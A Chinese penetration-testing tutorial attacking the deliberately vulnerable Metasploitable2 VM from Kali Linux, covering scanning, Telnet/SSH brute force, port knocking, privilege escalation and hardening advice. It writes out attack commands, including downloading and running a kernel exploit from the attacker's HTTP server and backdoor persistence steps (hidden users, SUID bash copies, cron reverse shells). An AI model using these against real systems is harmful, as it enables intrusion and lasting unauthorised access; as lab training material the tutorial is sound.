news 2026/7/30 8:47:09

Kali Linux渗透Metasploitable2:SSH与Telnet漏洞实战攻防

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Kali Linux渗透Metasploitable2:SSH与Telnet漏洞实战攻防

1. 项目概述:一次从“敲门”到“登堂入室”的实战演练

在网络安全的学习与实践中,理论知识的掌握固然重要,但真正的理解往往源于亲手操作。今天,我们就来深入探讨一个经典的实战场景:如何利用Kali Linux渗透测试发行版,对一个名为Metasploitable2的故意留有漏洞的靶机,发起一次从外部侦察到最终获取系统权限的完整攻击。这个项目的核心路径,聚焦于两个古老但至今仍广泛存在(尤其是在老旧或配置不当的系统上)的服务:SSH与Telnet。我们将从一个名为“端口敲门”的有趣技术开始,逐步深入到利用弱口令、已知漏洞等手段,最终实现权限提升。这不仅仅是一次工具使用的演示,更是一次对攻击者思维和防御者盲点的系统性剖析。无论你是刚接触安全的新手,还是希望巩固基础知识的从业者,这篇详尽的实战记录都将为你提供清晰的步骤、背后的原理,以及那些只有踩过坑才知道的注意事项。

2. 环境搭建与目标侦察

2.1 攻击与靶机平台准备

工欲善其事,必先利其器。我们的攻击平台是Kali Linux,这是一个专为渗透测试和网络安全审计设计的操作系统,预装了数百种安全工具。你可以将其安装在物理机、虚拟机(如VMware Workstation或VirtualBox)中。我个人的习惯是在VMware中安装,并配置为“桥接”网络模式,这样Kali虚拟机会获得与宿主机同网段的独立IP地址,便于与靶机通信。

注意:确保你的虚拟网络配置正确。如果Kali无法ping通宿主机或网关,检查虚拟机网络适配器设置是否为桥接模式,并确认宿主机的防火墙没有阻止ICMP协议。

靶机我们选择Metasploitable2。它是一个基于Ubuntu 8.04的Linux虚拟机,被故意配置了众多存在漏洞的服务和弱配置,是安全学习者绝佳的练习目标。从官方渠道下载OVA或镜像文件后,同样在虚拟机软件中导入并启动。关键一步:将Metasploitable2的网络也设置为桥接模式,确保它与Kali Linux在同一局域网内。启动后,系统通常会自动通过DHCP获取IP地址。

2.2 信息收集与目标定位

攻击的第一步永远是信息收集。我们需要找到靶机在哪里,以及它开放了哪些门(端口)。

首先,在Kali Linux中打开终端,我们需要确定当前网络的网段。使用ifconfigip addr命令查看Kali自身的IP地址,例如192.168.1.105,那么我们的扫描范围可能就是192.168.1.0/24

接下来,使用Nmap进行主机发现和端口扫描。Nmap是网络探索和安全审计的瑞士军刀。我们执行一个综合扫描:

sudo nmap -sS -sV -O -p- 192.168.1.0/24
  • -sS: TCP SYN扫描,一种半开放扫描,速度快且相对隐蔽。
  • -sV: 探测开放端口上运行的服务及其版本信息,这对寻找特定漏洞至关重要。
  • -O: 尝试识别目标主机的操作系统。
  • -p-: 扫描所有65535个端口,避免遗漏非标准端口。

扫描完成后,我们从结果中寻找运行着许多已知服务(如Apache、vsftpd、SSH等)且版本可能较旧的主机,那很可能就是Metasploitable2。假设我们找到了目标IP:192.168.1.108。针对该IP进行更细致的扫描:

sudo nmap -sS -sV -sC -O -A -T4 192.168.1.108
  • -sC: 使用默认的Nmap脚本进行更深入的探测。
  • -A: 启用操作系统检测、版本检测、脚本扫描和traceroute。
  • -T4: 指定扫描速度,T4为较快速度,平衡了速度和隐蔽性。

扫描报告会详细列出所有开放端口。在Metasploitable2上,你会看到一串长长的列表,包括21(FTP)、22(SSH)、23(Telnet)、80(HTTP)等。我们的焦点是22和23端口。

3. 核心攻击路径解析:SSH与Telnet的弱点

3.1 Telnet服务:明文传输与弱口令的“重灾区”

Telnet是一个古老的远程登录协议,其最大的问题在于所有通信(包括用户名和密码)都以明文形式传输。这意味着任何能够截获网络流量的人都可以轻易获取登录凭证。在Metasploitable2上,Telnet服务(端口23)是默认开放的,并且很可能存在弱口令。

攻击方法非常直接:暴力破解。我们可以使用Hydra、Medusa等工具。以Hydra为例:

hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.108 telnet
  • -l root: 指定尝试的用户名为root(在Metasploitable2上,root用户可能允许远程登录,这本身就是一个配置错误)。
  • -P ...: 指定密码字典。rockyou.txt是Kali自带的一个著名弱口令字典。
  • 最后指定协议和目标。

这个命令会尝试用字典中的每一个密码去登录root账户。由于Telnet没有加密开销,破解速度很快。实操心得:在实际测试中,Metasploitable2的root密码很可能就是root或者空密码。你可以先手动尝试一下,节省时间。

telnet 192.168.1.108

连接后,输入用户名root,密码root或直接回车。如果成功,你将获得一个root shell。是的,通过Telnet,一步到位就拿到了最高权限,这赤裸裸地展示了使用明文协议和弱口令的致命性。

3.2 SSH服务:加密下的脆弱配置

SSH(Secure Shell)相比Telnet是巨大的进步,它通过加密保护了通信内容。然而,不安全的配置同样会带来风险。Metasploitable2上的SSH服务(端口22)可能存在以下几种问题:

  1. 弱口令:和Telnet一样,用户可能设置了简单的密码。
  2. 允许root登录:在/etc/ssh/sshd_config中,如果PermitRootLogin设置为yes,攻击者就可以直接暴力破解root账户。
  3. 使用旧版或不安全的协议:如支持SSHv1,该版本存在缺陷。
  4. 已知漏洞:特定版本的SSH服务软件可能存在远程代码执行漏洞。

我们的攻击可以从暴力破解开始,使用Hydra针对SSH:

hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.108 ssh

或者,如果我们通过信息收集(例如从网站漏洞中)获得了其他用户名(如msfadmin),可以针对该用户进行破解:

hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt 192.168.1.108 ssh

注意事项:SSH的加密过程使得每次登录尝试都比Telnet耗时更长。为了提高效率,可以:

  • 使用-t参数增加并行任务数,例如-t 4
  • 使用更精准的字典,而不是庞大的rockyou.txt开头部分。
  • 如果目标有账户锁定机制,暴力破解可能会触发锁定。

除了暴力破解,如果SSH服务版本存在已知漏洞(可以通过nmap -sV的结果与漏洞库比对),我们可以尝试利用。例如,寻找对应的Metasploit模块。

3.3 端口敲门:一道隐蔽的“暗门”

端口敲门是一种有趣的隐蔽服务访问技术。它的原理是:服务端口(如SSH的22端口)默认是关闭的。只有客户端按照特定顺序和协议(如TCP、UDP)向一系列指定的“敲门端口”发送数据包后,防火墙规则才会临时打开目标端口一段时间。

在Metasploitable2上,可能配置了端口敲门来保护SSH服务。这意味着直接扫描22端口可能是关闭的,你需要先完成“敲门”序列。

假设我们通过其他途径(如源码泄露、配置错误)得知敲门序列是:1000/tcp,2000/udp,3000/tcp

我们可以使用Nmap或简单的netcat(nc)来完成敲门:

# 使用nc nc -z 192.168.1.108 1000 # 敲第一个TCP门 nc -zu 192.168.1.108 2000 # 敲第二个UDP门 (-u 参数) nc -z 192.168.1.108 3000 # 敲第三个TCP门 # 或者使用nmap,但注意nmap默认发送的探测包可能不符合敲门守护进程的预期,有些实现只监听SYN包。 # 更可靠的方法是使用hping3或自己构造数据包。

敲门完成后,迅速使用Nmap扫描22端口,或者直接尝试SSH连接:

ssh msfadmin@192.168.1.108

核心原理与避坑:端口敲门的安全性建立在序列的保密性上。一旦序列泄露,其保护作用就消失了。此外,敲门操作必须在较短时间窗口内完成。作为攻击方,获取敲门序列可能需要社会工程学、流量监听(如果其他用户敲门)或系统其他漏洞。作为防御方,端口敲门增加了隐蔽性,但不应作为唯一的安全措施,必须配合强密码、密钥认证等。

4. 权限提升与后渗透初步

假设我们通过Telnet弱口令(root/root)成功登录,或者通过SSH暴力破解进入了msfadmin账户(密码可能是msfadmin)。现在我们获得了初始立足点,但可能不是最高权限(例如以msfadmin登录)。

4.1 信息搜集(内部)

在获得的shell中,首先进行内部信息搜集:

  • id: 查看当前用户和所属组。
  • uname -a: 查看系统内核版本。
  • cat /etc/passwd: 查看系统所有用户。
  • sudo -l:非常关键!查看当前用户可以使用sudo以root权限运行哪些命令。如果配置不当,可能直接找到提权路径。
  • find / -perm -u=s -type f 2>/dev/null: 查找SUID位设置的文件。SUID文件在执行时,会以文件所有者的权限运行。如果找到一个属于root且SUID设置了的bash或python,可能就是提权捷径。

4.2 利用内核漏洞提权

在Metasploitable2(Ubuntu 8.04)上,内核版本较旧,存在公开的本地提权漏洞。我们可以使用uname -a查看内核版本,例如2.6.24-16-server。然后,在Kali上搜索或利用searchsploit查找对应版本的漏洞利用代码。

# 在Kali上 searchsploit linux kernel 2.6.24 privilege escalation

会列出多个可能的漏洞,例如Linux Kernel 2.6.22 < 3.9 - ‘Dirty COW’ /proc/self/mem Race Condition Privilege Escalation。但Dirty Cow漏洞影响范围更广,这里只是举例。我们需要找到适用于2.6.24的可靠利用代码。

找到后,将利用代码(一个.c文件)通过某种方式传输到靶机上。如果靶机有网络访问权限且安装了编译器(gcc),可以直接下载编译。如果没有网络,可以从Kali搭建一个简单的HTTP服务器:

# 在Kali上,在存放exp.c的目录 python3 -m http.server 8080

然后在靶机shell中下载:

# 在靶机上 wget http://192.168.1.105:8080/exp.c gcc exp.c -o exp chmod +x exp ./exp

如果漏洞利用成功,你会看到一个#提示符的root shell。

重大注意事项:在真实环境中,利用内核漏洞提权风险极高,可能导致系统崩溃(蓝屏/死机)。务必只在授权的测试环境或像Metasploitable2这样的专用靶机上进行。在编译exp前,最好先查看代码,理解其原理。

4.3 利用配置错误提权

除了内核漏洞,系统配置错误是更常见的提权途径。

  • sudo滥用:如果sudo -l显示当前用户可以无密码以root身份运行某些命令,例如/usr/bin/vim,那么可以:
    sudo vim /etc/passwd
    在vim中,输入:!bash:sh即可启动一个root shell。
  • SUID文件:如果找到/usr/bin/find设置了SUID位(实际在Metasploitable2中可能存在),可以:
    find / -exec /bin/bash -p \;
  • 计划任务(Cron Jobs):检查/etc/crontab,看是否有以root身份运行的可写脚本。如果有,可以修改该脚本,加入反向shell命令,等待计划任务执行。

5. 防御视角与安全加固建议

通过这次实战,我们站在攻击者的角度看到了SSH和Telnet服务可能存在的诸多问题。现在,让我们换位思考,如何防御此类攻击。

5.1 Telnet服务:直接禁用

对于任何现代生产环境,首要且最有效的建议是彻底禁用Telnet服务。使用SSH作为唯一的远程管理协议。

  • Ubuntu/Debian:sudo systemctl disable --now telnet.socket(如果存在)
  • 更彻底的是卸载Telnet服务器软件包。

5.2 SSH服务安全加固

SSH是运维的生命线,必须严加防护。

  1. 禁止root直接登录:编辑/etc/ssh/sshd_config,设置PermitRootLogin no。使用普通用户登录后,再通过susudo切换权限。
  2. 使用密钥认证,禁用密码认证:这是最强大的单点加固措施。生成SSH密钥对,将公钥上传到服务器的~/.ssh/authorized_keys文件中,然后在sshd_config中设置PasswordAuthentication no。彻底杜绝暴力破解。
  3. 修改默认端口:将SSH端口从22改为一个高位端口(如22223522)。这不能算作安全措施,但可以显著减少互联网上自动化脚本的扫描和攻击噪音。在配置文件中修改Port项。
  4. 使用强密码策略:如果必须使用密码认证,确保密码长度、复杂度足够,并定期更换。
  5. 限制访问来源:利用防火墙(如iptablesufw)只允许特定的、可信的IP地址或IP段访问SSH端口。
  6. 使用Fail2ban:这是一个日志分析工具,可以监控SSH登录失败日志,当同一IP在短时间内失败次数过多时,自动将其IP加入防火墙黑名单一段时间。
  7. 保持软件更新:及时更新SSH服务端(openssh-server)到最新版本,修复已知漏洞。
  8. 禁用不安全的协议和算法:在sshd_config中,明确禁用SSHv1,并考虑禁用一些已知较弱的加密算法和MAC算法。

5.3 关于端口敲门的思考

端口敲门可以作为深度防御的一层,增加系统的隐蔽性。但它绝不能替代上述加固措施。它的作用类似于一个“暗号”,只有知道暗号的人才知道门在哪里。然而,一旦暗号泄露(例如通过键盘记录、流量分析或内部人员泄露),这层防护就失效了。因此,它更适合作为一个补充的、增加攻击复杂度的措施,与强认证(密钥)、访问控制(防火墙)结合使用。

5.4 系统层面加固

  1. 最小权限原则:用户和服务只应拥有完成其任务所必需的最小权限。避免使用root账户进行日常操作。
  2. 定期更新与补丁管理:为操作系统和应用软件及时安装安全补丁,尤其是公开披露的高危漏洞。
  3. 入侵检测与日志审计:配置并监控系统日志(如/var/log/auth.log,/var/log/syslog),使用工具如AIDE(高级入侵检测环境)检查文件完整性。
  4. 关闭不必要的服务:使用netstat -tulpnss -tulpn查看所有监听端口,关闭任何非必需的服务。

6. 常见问题与排查实录

在实战过程中,你可能会遇到以下问题:

问题1:Nmap扫描不到Metasploitable2靶机。

  • 排查:首先确认两台虚拟机网络模式均为“桥接”(Bridge)。在Kali和Metasploitable2中分别执行ip addrifconfig,查看IP地址是否在同一网段(如192.168.1.x)。如果Metasploitable2没有获取到IP,尝试重启网络服务sudo /etc/init.d/networking restart或检查虚拟机网络设置。
  • 解决:确保主机防火墙没有阻止虚拟机间的通信。可以尝试从Kali ping靶机的IP,或从靶机ping Kali的IP。

问题2:Hydra暴力破解SSH速度极慢,且很快中断。

  • 排查:这可能是网络延迟、目标SSH服务配置了登录延迟(如LoginGraceTime)或失败限制(如MaxAuthTries),或者触发了系统的fail2ban
  • 解决
    • 使用-t参数增加线程数,如-t 16
    • 使用更小、更精准的字典。
    • 如果目标有fail2ban,暴力破解不是好方法,应转向其他攻击面(如社会工程学、漏洞利用)。

问题3:利用内核漏洞exp编译失败或执行后系统崩溃。

  • 排查:exp代码可能依赖于特定的内核版本或编译环境(如gcc版本、内核头文件)。
  • 解决
    • 在靶机上安装必要的开发工具包:sudo apt-get update && sudo apt-get install build-essential linux-headers-$(uname -r)
    • 仔细阅读exp代码中的说明,查看是否有编译参数要求。
    • 在互联网上搜索该exp的“使用说明”或“踩坑记录”。
    • 最重要:在测试环境中先验证。系统崩溃是内核漏洞利用的常见风险。

问题4:通过Telnet登录后,命令行界面显示异常或按键错乱。

  • 排查:Telnet协议对终端类型的处理可能不完善。
  • 解决:尝试在登录后设置终端类型:export TERM=xterm,然后执行reset命令。或者,使用更稳定的SSH连接(如果你已经获得了密码)。

问题5:提权后,想维持持久化访问(留后门),但不知道如何下手。

  • 思路:常见的持久化方法有:
    • 添加用户useradd -m -s /bin/bash backdoor_user && echo ‘backdoor_user:password’ | chpasswd,并可能将其加入sudo组。
    • SSH密钥后门:将攻击者的公钥写入root或高权限用户的.ssh/authorized_keys文件中。
    • 计划任务:在/etc/crontab中添加定期连接反弹shell的任务。
    • SUID后门:复制/bin/bash并设置SUID位:cp /bin/bash /tmp/.shell && chmod 4755 /tmp/.shell,之后执行/tmp/.shell -p即可获得root shell。
    • 动态链接库注入:更隐蔽,但更复杂。
  • 注意:在授权测试中,留后门前必须获得明确许可。在真实渗透测试报告中,需详细记录后门位置和清除方法。

7. 工具链的深入与替代方案

本次实战主要使用了Nmap、Hydra、Netcat等经典工具。实际上,Kali Linux的工具箱远不止这些。针对同一目标,你可以尝试不同的工具和方法,以加深理解:

  • 主机发现:除了Nmap,可以用netdiscover(ARP扫描,局域网内极快)或Masscan(全网高速扫描)。
  • 服务识别:除了Nmap的-sV,可以用Amass进行更全面的子域名和资产发现,或者用WhatWebWappalyzer(浏览器插件)识别Web技术栈。
  • SSH暴力破解:除了Hydra,可以尝试Medusa(据说在某些情况下更快)、Patator(模块化设计)或Ncrack(来自Nmap团队)。
  • 漏洞利用:Metasploit Framework(MSF)是自动化漏洞利用的标杆。你可以搜索针对特定SSH服务版本的MSF模块。例如,在MSF控制台里:search ssh_version,然后使用对应的扫描模块确认版本,再搜索相关漏洞利用模块。
  • 后渗透与横向移动:获得shell后,可以使用Meterpreter(MSF的payload)获得更强大的交互会话,或者使用Cobalt StrikeEmpire等高级框架进行命令控制和横向移动。

我个人在多次实战中发现,工具是死的,思路是活的。最有效的攻击往往不是用最炫酷的工具,而是对目标系统最深入的理解和最简单的技术组合。例如,一个弱口令的危害可能远大于一个复杂的远程代码执行漏洞,因为前者更常见,利用门槛更低。因此,在练习时,不要只满足于运行成功的命令,多问问自己:这个服务为什么存在?这个配置为什么错误?如果我是管理员,我该如何发现并修复它?这种双向思考,才是从“脚本小子”走向安全专家的关键。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/30 8:46:34

STM32串口通信实战:HAL库三种模式详解与DMA+空闲中断高效接收方案

1. 项目概述&#xff1a;从“点灯”到“对话” 玩过STM32的朋友都知道&#xff0c;第一步往往是“点灯”&#xff0c;用HAL库的 HAL_GPIO_TogglePin() 函数让一个LED闪烁起来&#xff0c;这标志着我们成功建立了与芯片最基本的“控制”连接。但嵌入式开发的世界远不止于此&am…

作者头像 李华
网站建设 2026/7/30 8:46:20

Python虚拟环境管理全攻略:从原理到实战,掌握多环境查看技巧

1. 项目概述&#xff1a;为什么我们需要管理Python虚拟环境清单在Python开发的世界里&#xff0c;虚拟环境就像一个个独立的“工作间”。你可能为了项目A安装了Django 4.0&#xff0c;又为了项目B需要用到Django 3.2&#xff0c;或者某个数据分析脚本依赖一个特定版本的Pandas。…

作者头像 李华
网站建设 2026/7/30 8:46:11

Rust+Candle本地部署大模型:从环境配置到Qwen推理实战

1. 项目概述&#xff1a;为什么选择 Rust Candle 来运行大模型&#xff1f;最近在折腾本地大模型部署&#xff0c;发现了一个挺有意思的路线&#xff1a;用 Rust 生态里的 Candle 框架来跑模型。这和我们熟悉的 Python PyTorch 那套不太一样。我花了点时间&#xff0c;成功在…

作者头像 李华
网站建设 2026/7/30 8:45:59

STM32 ADC电压采集实战:从原理到代码,解决跳动不准问题

1. 项目概述&#xff1a;从“测电压”到“读懂世界”的起点在嵌入式开发&#xff0c;尤其是基于STM32这类MCU的项目里&#xff0c;ADC&#xff08;模数转换器&#xff09;绝对是一个绕不开的核心外设。你可能觉得“电压采集”听起来平平无奇&#xff0c;不就是读个数吗&#xf…

作者头像 李华
网站建设 2026/7/30 8:45:48

Python函数图像绘制全攻略:从NumPy向量化到Matplotlib高级可视化

1. 项目概述&#xff1a;为什么用Python画函数图是门必修课如果你刚开始学编程&#xff0c;或者刚接触Python&#xff0c;可能会觉得“画函数图像”这事儿离你很远&#xff0c;是数学老师或者科研人员才需要干的。但作为一个写了十几年代码的老码农&#xff0c;我得告诉你&…

作者头像 李华
网站建设 2026/7/30 8:45:41

Java PDF水印实战:基于PDFBox实现自动换行与旋转的稳定方案

1. 项目缘起&#xff1a;为什么一个PDF水印功能能让人“贼透彻”&#xff1f;最近在做一个内部文档管理系统&#xff0c;客户提了个需求&#xff1a;所有对外分发的PDF报告&#xff0c;都必须自动加上包含“内部传阅&#xff0c;严禁外泄”和生成时间的水印。听起来很简单对吧&…

作者头像 李华